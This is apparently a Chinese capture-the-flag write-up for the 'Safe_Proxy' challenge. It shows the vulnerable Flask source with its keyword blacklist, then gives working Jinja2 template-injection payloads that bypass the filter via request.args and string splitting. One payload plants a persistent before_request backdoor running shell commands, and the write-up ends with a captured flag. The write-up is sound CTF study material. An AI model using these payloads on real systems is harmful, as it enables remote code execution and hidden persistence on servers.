Safe_Proxy
可以看到源代码如下:
from flask import Flask, request, render_template_string
import socket
import threading
import htmlapp = Flask(__name__)@app.route('/', methods=["GET"])
def source():with open(__file__, 'r', encoding='utf-8') as f:return '<pre>'+html.escape(f.read())+'</pre>'@app.route('/', methods=["POST"])
def template():template_code = request.form.get("code")# 安全过滤blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']for black in blacklist:if black in template_code:return "Forbidden content detected!"result = render_template_string(template_code)print(result)return 'ok' if result is not None else 'error'class HTTPProxyHandler:def __init__(self, target_host, target_port):self.target_host = target_hostself.target_port = target_portdef handle_request(self, client_socket):try:request_data = b""while True:chunk = client_socket.recv(4096)request_data += chunkif len(chunk) < 4096:breakif not request_data:client_socket.close()returnwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:proxy_socket.connect((self.target_host, self.target_port))proxy_socket.sendall(request_data)response_data = b""while True:chunk = proxy_socket.recv(4096)if not chunk:breakresponse_data += chunkheader_end = response_data.rfind(b"\r\n\r\n")if header_end != -1:body = response_data[header_end + 4:]else:body = response_dataresponse_body = bodyresponse = b"HTTP/1.1 200 OK\r\n" \b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \b"Content-Type: text/html; charset=utf-8\r\n" \b"\r\n" + response_bodyclient_socket.sendall(response)except Exception as e:print(f"Proxy Error: {e}")finally:client_socket.close()def start_proxy_server(host, port, target_host, target_port):proxy_handler = HTTPProxyHandler(target_host, target_port)server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server_socket.bind((host, port))server_socket.listen(100)print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")try:while True:client_socket, addr = server_socket.accept()print(f"Connection from {addr}")thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))thread.daemon = Truethread.start()except KeyboardInterrupt:print("Shutting down proxy server...")finally:server_socket.close()def run_flask_app():app.run(debug=False, host='127.0.0.1', port=5000)if __name__ == "__main__":proxy_host = "0.0.0.0"proxy_port = 5001target_host = "127.0.0.1"target_port = 5000# 安全反代,防止针对响应头的攻击proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))proxy_thread.daemon = Trueproxy_thread.start()print("Starting Flask app...")run_flask_app()
可以看到这句中存在ssti漏洞,然而无回显不出网.
result = render_template_string(template_code)
fenjing跑出来的不是很好改,发现这里可以使用request.args.a
绕过.
打新版内存马.
code={{lipsum[request.args.a][request.args.b][request.args.c](request.args.d)}}
get传参如下
a=__globals__&b=__builtins__&c=eval&d=__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /flag').read())
每次都会把环境打死,因此每执行一次命令以后都得重启环境.得到flag:flag{cd5df857-0820-4b25-9d04-b22b53a6c673}
赛后分析:实际上直接用fenjing的payload去改app.py就可以.
from fenjing import exec_cmd_payloadimport functools
import time
import logginglogging.basicConfig(level=logging.WARNING)def waf(s: str):blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system','\r', '\n']for word in blacklist:if word in s:return Falsereturn Truepayload, _ = exec_cmd_payload(waf, "ls")print(payload)
得到payload
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set hj='so'[::-1]%}{{g.pop[gl][bu][im](hj)['p''open']('cat /flag > test.py').read()}}